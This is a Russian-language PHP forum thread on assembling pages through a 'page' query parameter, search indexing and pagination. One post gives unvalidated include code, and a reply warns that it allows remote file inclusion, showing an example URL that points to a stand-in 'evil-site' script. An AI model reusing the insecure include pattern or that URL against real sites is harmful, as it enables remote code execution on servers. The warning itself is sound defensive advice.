![]() |
|
Модераторы: skyboy, MoLeX, Aliance, ksnk |
![]()
|
|
| Jey_k |
|
|||
![]() WEB-командир ![]() ![]() ![]() ![]() Профиль Группа: Комодератор Сообщений: 4149 Регистрация: 16.11.2003 Где: Москва Репутация: 1 Всего: 61 |
Суть такова. Страницы сайта index.php, soft.php, hard.php собираются следующим образом
мне интересно как будет индексировааться такой ресурс и будет ли вообще. Основная информация генерируется скриптами main_*.php но отображение осуществляют index,soft,hard и прочие .php которые являют собой склейки меню и информационнного окна. Индексация нужна только страниц index,soft,hard но ни в коем случае не кусков main_*.php |
|||
|
||||
| PARROT |
|
|||
![]() Эксперт ![]() ![]() ![]() ![]() Профиль Группа: Экс. модератор Сообщений: 2339 Регистрация: 5.1.2005 Где: Спб-ЦарьГрад Репутация: 23 Всего: 50 |
Будут если подключать в индексный файл и для каждой страницы генерировать свой ключи, ключевые слова и т.д.
-------------------- Безумный утешается прошедшим, слабоумный - будущим, умный - настоящим! |
|||
|
||||
| Jey_k |
|
|||
![]() WEB-командир ![]() ![]() ![]() ![]() Профиль Группа: Комодератор Сообщений: 4149 Регистрация: 16.11.2003 Где: Москва Репутация: 1 Всего: 61 |
Пасиб!!! Ещё вопрос вдогонку по той же теме.
Как реализовать весчь, чтобы по клику на ссылке в левом меню подгружалась как раз эта нужная $page в Include а не какая-нибудь страница целиком? |
|||
|
||||
| Jey_k |
|
|||
![]() WEB-командир ![]() ![]() ![]() ![]() Профиль Группа: Комодератор Сообщений: 4149 Регистрация: 16.11.2003 Где: Москва Репутация: 1 Всего: 61 |
О! Реализовал вот так:
index.php
Теперь ссылки с левого меню делаем такими: ...index.php?page=news.php Это нормально или криво? Если есть способ эффективней, то рад буду посмотреть. Не бейте ногами только осваиваю php Это сообщение отредактировал(а) Jey_k - 19.9.2005, 14:58 |
|||
|
||||
| PARROT |
|
||||||
![]() Эксперт ![]() ![]() ![]() ![]() Профиль Группа: Экс. модератор Сообщений: 2339 Регистрация: 5.1.2005 Где: Спб-ЦарьГрад Репутация: 23 Всего: 50 |
Ссылки будут выглядеть вот так:
расширение лишнее. Для подключения ключевых слов для каждой страницы, используй следующее:
Для остальных своих страниц напиши сам. Говорят что эти правила необходимо соблюдать, по количеству слов. -------------------- Безумный утешается прошедшим, слабоумный - будущим, умный - настоящим! |
||||||
|
|||||||
| Jey_k |
|
|||
![]() WEB-командир ![]() ![]() ![]() ![]() Профиль Группа: Комодератор Сообщений: 4149 Регистрация: 16.11.2003 Где: Москва Репутация: 1 Всего: 61 |
PARROT
Ну респектище тебе просто огромное Добавлено @ 15:20
На локальной машине понимать не хочет, только с расширением. Наверное просто апач старый и интерпретатор тоже. |
|||
|
||||
| Mal Hack |
|
||||||
![]() Мудрый... ![]() ![]() ![]() ![]() Профиль Группа: Участник Клуба Сообщений: 9926 Регистрация: 15.2.2004 Репутация: 122 Всего: 261 |
Это несколько не правильно с точки зрения безопасности. Тут лучше что-ть типа этого:
Лучше через empty проверять. Плюс не забывай про глобальные массивы $_GET, $_POST. |
||||||
|
|||||||
| Jey_k |
|
||||
![]() WEB-командир ![]() ![]() ![]() ![]() Профиль Группа: Комодератор Сообщений: 4149 Регистрация: 16.11.2003 Где: Москва Репутация: 1 Всего: 61 |
Вот это бы да с примерчиком
Тогда адресовать страницы так: ...index.php?page=1 ? |
||||
|
|||||
| Mal Hack |
|
|||
![]() Мудрый... ![]() ![]() ![]() ![]() Профиль Группа: Участник Клуба Сообщений: 9926 Регистрация: 15.2.2004 Репутация: 122 Всего: 261 |
Как хочешь. Просто ты должен в case нужное значение прописать. Это избавит от ошибки подгрузки других файлов. |
|||
|
||||
| Bikutoru |
|
|||
|
Увлекающийся ![]() ![]() Профиль Группа: Участник Сообщений: 522 Регистрация: 24.5.2005 Где: Москва Репутация: 8 Всего: 22 |
Кстати, вместо switch'а можно использовать массив
Теперь управление списком подключаемых страниц становится малость поудобнее... Это сообщение отредактировал(а) Bikutoru - 20.9.2005, 08:30 -------------------- Человек, словно в зеркале мир — многолик, Он ничтожен — и он же безмерно велик! Омар Хайям |
|||
|
||||
| Mal Hack |
|
|||
![]() Мудрый... ![]() ![]() ![]() ![]() Профиль Группа: Участник Клуба Сообщений: 9926 Регистрация: 15.2.2004 Репутация: 122 Всего: 261 |
Не сказал бы. Это на любителя и на задачу. |
|||
|
||||
| Jey_k |
|
|||
![]() WEB-командир ![]() ![]() ![]() ![]() Профиль Группа: Комодератор Сообщений: 4149 Регистрация: 16.11.2003 Где: Москва Репутация: 1 Всего: 61 |
В принципе там не так много траниц. Воспользуюсь наверное кейсом. Но вариант с массивом запишу.
|
|||
|
||||
| Bikutoru |
|
||||
|
Увлекающийся ![]() ![]() Профиль Группа: Участник Сообщений: 522 Регистрация: 24.5.2005 Где: Москва Репутация: 8 Всего: 22 |
Не спорю.
Мне, например, лень кучу раз писать include в switch'е.
Если это подключение необходимо делать в нескольких местах, то лучше будет иметь один список подключаемых файлов, но это при условии, что файлы и там и тут одни и те же. А вот если они различны... switch нам поможет -------------------- Человек, словно в зеркале мир — многолик, Он ничтожен — и он же безмерно велик! Омар Хайям |
||||
|
|||||
| Мастер |
|
|||
|
Unregistered |
Код открытия файлов через "?page".
|
|||
|
||||
| Bikutoru |
|
|||
|
Увлекающийся ![]() ![]() Профиль Группа: Участник Сообщений: 522 Регистрация: 24.5.2005 Где: Москва Репутация: 8 Всего: 22 |
Мастер, так делать не надо. Ведь и такая штука прокатить может:
inc.php?page=http://evil-site.ru/evil_script -------------------- Человек, словно в зеркале мир — многолик, Он ничтожен — и он же безмерно велик! Омар Хайям |
|||
|
||||
| Jey_k |
|
|||
![]() WEB-командир ![]() ![]() ![]() ![]() Профиль Группа: Комодератор Сообщений: 4149 Регистрация: 16.11.2003 Где: Москва Репутация: 1 Всего: 61 |
И подгруженый скрипт может выполнить на моем хосте всякие нехорошие...? |
|||
|
||||
| PARROT |
|
|||
![]() Эксперт ![]() ![]() ![]() ![]() Профиль Группа: Экс. модератор Сообщений: 2339 Регистрация: 5.1.2005 Где: Спб-ЦарьГрад Репутация: 23 Всего: 50 |
Да, но там же написано, что если такой page нет, то даем 404 страницу, которая создается в движке.
-------------------- Безумный утешается прошедшим, слабоумный - будущим, умный - настоящим! |
|||
|
||||
| Jey_k |
|
|||
![]() WEB-командир ![]() ![]() ![]() ![]() Профиль Группа: Комодератор Сообщений: 4149 Регистрация: 16.11.2003 Где: Москва Репутация: 1 Всего: 61 |
PARROT
Вознила тут же трабла с передачей параметров. Так индексный файл берет left.php и main.php, но мне надо взять не просто main а с параметром, например, main.php?block=1 Сделано для реализации постраничного вывода. В самом main.php строится линейка
А далее в файле на основании значения переменной $block читаются данные из файлов и строится таблица. Как быть? Include в index.php ругается при этом сильно и собирать страницу отказывается |
|||
|
||||
| PARROT |
|
|||
![]() Эксперт ![]() ![]() ![]() ![]() Профиль Группа: Экс. модератор Сообщений: 2339 Регистрация: 5.1.2005 Где: Спб-ЦарьГрад Репутация: 23 Всего: 50 |
Ну чего то из этой оперы, попробуй.
Что конкретно не получается с движком? Могу создать запаковать и прислать. -------------------- Безумный утешается прошедшим, слабоумный - будущим, умный - настоящим! |
|||
|
||||
| Jey_k |
|
|||
![]() WEB-командир ![]() ![]() ![]() ![]() Профиль Группа: Комодератор Сообщений: 4149 Регистрация: 16.11.2003 Где: Москва Репутация: 1 Всего: 61 |
PARROT
Да линейку, то строит без проблем. Я не знаю какую ссылку ставить на элементы линейки. Другими словами к какой странице отсылать при клике на элемент линейки. Сама линейка и чтение с выводом происходят в одном файле. т.е. сейчас мы на странице index.php?page=main.php но мне нужно main.php с параметром block=1, а ссылку типа index.php?page=main.php?block=1 интерпретатор не понимает. Добавлено @ 16:06
Он благополучно пришел. Знакомлюсь. Сейчас бьюсь головой об стол. Никак с этими параметрами не получается. |
|||
|
||||
| PARROT |
|
|||
![]() Эксперт ![]() ![]() ![]() ![]() Профиль Группа: Экс. модератор Сообщений: 2339 Регистрация: 5.1.2005 Где: Спб-ЦарьГрад Репутация: 23 Всего: 50 |
А.........у нас расширение уже есть, зачем еще раз?
-------------------- Безумный утешается прошедшим, слабоумный - будущим, умный - настоящим! |
|||
|
||||
| Jey_k |
|
|||
![]() WEB-командир ![]() ![]() ![]() ![]() Профиль Группа: Комодератор Сообщений: 4149 Регистрация: 16.11.2003 Где: Москва Репутация: 1 Всего: 61 |
Без этого не понимает. А если через & то параметр разве не в index.php передастся? |
|||
|
||||
| PARROT |
|
||||||
![]() Эксперт ![]() ![]() ![]() ![]() Профиль Группа: Экс. модератор Сообщений: 2339 Регистрация: 5.1.2005 Где: Спб-ЦарьГрад Репутация: 23 Всего: 50 |
Jey_k, просто такого не бывает.
Расширение может быть только один раз. Мы подключаем все в индех, а потом меняем середину.
То что идет после амперсанд, это варианты этой же страницы. (незнаю как обозвать правильно). Например:
Помоему ты запутался напрочь. Почитай внимательно,то что я тебе прислала. Внимательно! Сначала нарисуй как там, потом борись с безопасностью и добавь везде глобалку, а потом если не запутаешься до этого шага, все сложится как ни есть хорошо. Это сообщение отредактировал(а) PARROT - 20.9.2005, 17:05 -------------------- Безумный утешается прошедшим, слабоумный - будущим, умный - настоящим! |
||||||
|
|||||||
| Jey_k |
|
||||
![]() WEB-командир ![]() ![]() ![]() ![]() Профиль Группа: Комодератор Сообщений: 4149 Регистрация: 16.11.2003 Где: Москва Репутация: 1 Всего: 61 |
при попытке ввести http://localhost/index.php?page=main Конкретизирую систему Файл index.php:
Чтоб отобразить в качестве главного окна файлы soft.php hard.php main.php передаем их как параметры вот так index.php?page=main.php Без расширения Напрочь отказывается. В файле main.php сначала идет построение линейки, затем загрузка и отображение данных. Данные подгружаются на основании значения переданного параметра $block. Другими словами мне надо дать понять индексному файлу, что нужно подгрузить страницу main.php с параметром block=1. index.php?page=main.php&block=1 по всей логике передает параметр в индех или он автоматически отправится и к майн и всем прочим подключаемым страницам? Пока не получается. |
||||
|
|||||
| PARROT |
|
|||
![]() Эксперт ![]() ![]() ![]() ![]() Профиль Группа: Экс. модератор Сообщений: 2339 Регистрация: 5.1.2005 Где: Спб-ЦарьГрад Репутация: 23 Всего: 50 |
Jey_k, глянь почту.
Это сообщение отредактировал(а) PARROT - 20.9.2005, 17:51 -------------------- Безумный утешается прошедшим, слабоумный - будущим, умный - настоящим! |
|||
|
||||
| Jey_k |
|
|||
![]() WEB-командир ![]() ![]() ![]() ![]() Профиль Группа: Комодератор Сообщений: 4149 Регистрация: 16.11.2003 Где: Москва Репутация: 1 Всего: 61 |
Загружается.
Экспериментально при помощи echo установил, что параметр block при таком вызове в страницу main.php не попал Добавлено @ 17:56
Давай так. Есть 5 блоков информации. На страницу должно выводиться по 4. Получается 2 страницы [1] и [2], эти цифры отображаются в линейке. Щелкаем по 1 загружаются первые 4, щелкаем по 2 старые 4 исчезают и загружается оставшийся 5-й блок. параметр block усанавливает откуда начинать вывод, так при его значнии 2 установится что вывод начинать прокрутив 4 строки в листе заголовков, ну и прочие числовые параметры рассчитаются. |
|||
|
||||
| PARROT |
|
|||
![]() Эксперт ![]() ![]() ![]() ![]() Профиль Группа: Экс. модератор Сообщений: 2339 Регистрация: 5.1.2005 Где: Спб-ЦарьГрад Репутация: 23 Всего: 50 |
Если щелкнуть по второй, должен грузиться 2 блок инфы.
Почему пятый? Пять блоков, по четыре сообщения, итого 20 сообщений и 5 страниц инфы. Да? Так... этот blok=1 должен выскакивать на страницу, при нажатии на страницу вывода инфы №1, если block=2 то 2. -------------------- Безумный утешается прошедшим, слабоумный - будущим, умный - настоящим! |
|||
|
||||
| Jey_k |
|
|||
![]() WEB-командир ![]() ![]() ![]() ![]() Профиль Группа: Комодератор Сообщений: 4149 Регистрация: 16.11.2003 Где: Москва Репутация: 1 Всего: 61 |
не получается почту загрузить.
то что я пытаюсь выяснить это больше к постраничному выводу |
|||
|
||||
| Jey_k |
|
|||
![]() WEB-командир ![]() ![]() ![]() ![]() Профиль Группа: Комодератор Сообщений: 4149 Регистрация: 16.11.2003 Где: Москва Репутация: 1 Всего: 61 |
получил. Странно, там работает...
|
|||
|
||||
| PARROT |
|
|||
![]() Эксперт ![]() ![]() ![]() ![]() Профиль Группа: Экс. модератор Сообщений: 2339 Регистрация: 5.1.2005 Где: Спб-ЦарьГрад Репутация: 23 Всего: 50 |
Ну вот странно, посмотри внимательно, можешь для проверки повставлять свою инфу туда, когда поймешь смысл, соберешь свой двигатель. А потом уже будешь ... -------------------- Безумный утешается прошедшим, слабоумный - будущим, умный - настоящим! |
|||
|
||||
| Jey_k |
|
|||
![]() WEB-командир ![]() ![]() ![]() ![]() Профиль Группа: Комодератор Сообщений: 4149 Регистрация: 16.11.2003 Где: Москва Репутация: 1 Всего: 61 |
Все заработало. Причина была в следующем:
Если include внутри функции, то параметры переданные командной строкой, как говорилось выше, странице, подключаемой этим include, не передадутся. |
|||
|
||||
| boombick |
|
||||
![]() Опытный ![]() ![]() Профиль Группа: Участник Сообщений: 305 Регистрация: 20.4.2005 Где: Moscow, Russia Репутация: 2 Всего: 9 |
Немного оффтопик, но в заголовке темы был вопрос про индексацию... Так вот, такая практика получила название "дорвей"... Т.е. когда поисковому роботу в зависимости от запроса выдается страница с необходимым списком ключевых слов... Пользователь заходит и получает редирект на освной сайт... В данном случае такого нет, но поисковики довольлно хорошо научились распознавать дорвеи.. И посему сайт может быть вообще исключен из индекса, как использующий спам. Посему ичспользуйте только белые методы и читайте http://forum.searchengines.ru -------------------- |
||||
|
|||||
| PARROT |
|
|||
![]() Эксперт ![]() ![]() ![]() ![]() Профиль Группа: Экс. модератор Сообщений: 2339 Регистрация: 5.1.2005 Где: Спб-ЦарьГрад Репутация: 23 Всего: 50 |
boombick, тут для каждой страницы пишется свое название, свои ключевые слова и слова по которым поисковик выдает сайт по запросу пользователя.
Для Васи-о Васе ключ: Вася, василек, цветок, Василий и т.д. в тексте: Вася...... и т. д. Где тут черный метод? Слова соответствуют оперделенному количеству, не более чем положено. -------------------- Безумный утешается прошедшим, слабоумный - будущим, умный - настоящим! |
|||
|
||||
| boombick |
|
|||
![]() Опытный ![]() ![]() Профиль Группа: Участник Сообщений: 305 Регистрация: 20.4.2005 Где: Moscow, Russia Репутация: 2 Всего: 9 |
Я же написал, что в данном случае такого нет...
Просто предупредить... -------------------- |
|||
|
||||
| PARROT |
|
|||
![]() Эксперт ![]() ![]() ![]() ![]() Профиль Группа: Экс. модератор Сообщений: 2339 Регистрация: 5.1.2005 Где: Спб-ЦарьГрад Репутация: 23 Всего: 50 |
boombick, Спасибо, учтем.
-------------------- Безумный утешается прошедшим, слабоумный - будущим, умный - настоящим! |
|||
|
||||
| ROMLEX |
|
|||
|
Новичок Профиль Группа: Участник Сообщений: 9 Регистрация: 26.9.2005 Репутация: нет Всего: нет |
Привет! Не могли бы вы пояснить как вставлять название блока , ячейкой выше, в таблицу куда вставляется непосредственно сам блок
вот посмотрите... http://www.vengria-magazine.com/portal/ у меня есть несколько страниц в досуге"дискотеки, бани, гольф" Словом каждомой странице я бы хотел дать по заглавию и чтоб оно авоматом вставлялось в строку " НАЗВАНИЕ СТРАНИЦЫ! " Зарание благодарен. |
|||
|
||||
| ConstantinXXX |
|
|||
|
Бывалый ![]() Профиль Группа: Участник Сообщений: 246 Регистрация: 27.5.2006 Где: U.S.A. :-) Репутация: нет Всего: 0 |
switch( $_GET['page'] )
{ case "1": include( "1.php" ); break; case "2": include( "2.php" ); break; case "3": include( "3.php" ); break; default: include( "main.php" ) ; break; } а насчет индексации, что не надо индексировать то просто <noindex> Здесь текст не индексируеться поисковиками </noindex> --------------------
Как вы относитесь к девушкам, которые курят сигареты?Как не ослепнуть за компьютером© ORENCODE.info |
|||
|
||||
![]()
|
| Правила форума "PHP" | |
|
|
Новичкам:
Важно:
Внимание:
Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, IZ@TOP, skyboy, SamDark, MoLeX, awers. |
| 0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей) | |
| 0 Пользователей: | |
| « Предыдущая тема | PHP: Общие вопросы | Следующая тема » |
|
|
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности Powered by Invision Power Board(R) 1.3 © 2003 IPS, Inc. |